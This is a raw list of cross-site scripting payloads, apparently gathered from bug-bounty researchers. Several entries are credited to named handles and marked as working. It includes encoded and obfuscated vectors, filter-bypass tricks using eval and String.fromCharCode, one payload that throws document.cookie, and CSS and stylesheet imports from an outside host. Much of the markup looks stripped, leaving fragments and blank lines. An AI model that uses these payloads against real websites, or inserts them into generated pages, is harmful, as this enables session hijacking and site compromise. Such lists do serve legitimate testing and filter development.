/>
{{{=".sub).call.call({}{$='constructor'].getOwnPropertyDescriptor(proto S).value,0,'alert(1)")(){}
-setTimeout'\u0028alert(1)\u0029'-’
%3Csvg%2Fonload%3Dalert%28%22XSS%22%29%20%3E,

"/>alert(1)"/>
">
"javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie"
">

">%20//
'">
Click Here

aaa
Click Here!


xss'">;prompt`${document.domain}`%26lt;/script>'>
X


javascript:{ alert`0` }
1'">

%2sscript%2ualert()%2s/script%2u



“>
(working)
test",prompt%0A/*HelloWorld*/(document.domain) (working)- @Brutelogic
"onx+%00+onpointerenter%3dalert(domain)+x" (working)- @Brutelogic
"> (working)- @IamRenganathan
%27%09);%0d%0a%09%09[1].find(alert)//
"> - @itsgeekymonk
-@zapstiko
(working) -@aufzayed
-@ex_mi
';a=prompt,a()//
'-eval("window['pro'%2B'mpt'](8)")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)>"@x.y
">





click
X
--!>
confirm(1)




';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'>alert(String.fromCharCode(88,83,83))
'';!--"=&{()}
0\"autofocus/onfocus=alert(1)-->"-confirm(3)-"










xxs link
xxs link
alert("XSS")">
















alert("XSS");//


alert('XSS');
alert("XSS");




li {list-style-image: url("javascript:alert('XSS')");}XSS







@import'http://ha.ckers.org/xss.css';
; REL=stylesheet">
BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
@im\port'\ja\vasc\ript:alert("XSS")';

exp/*
alert('XSS');
.XSS{background-image:url("javascript:alert('XSS')");}
BODY{background:url("javascript:alert('XSS')")}


¼script¾alert(¢XSS¢)¼/script¾












alert('XSS');


'"-->
alert("XSS")');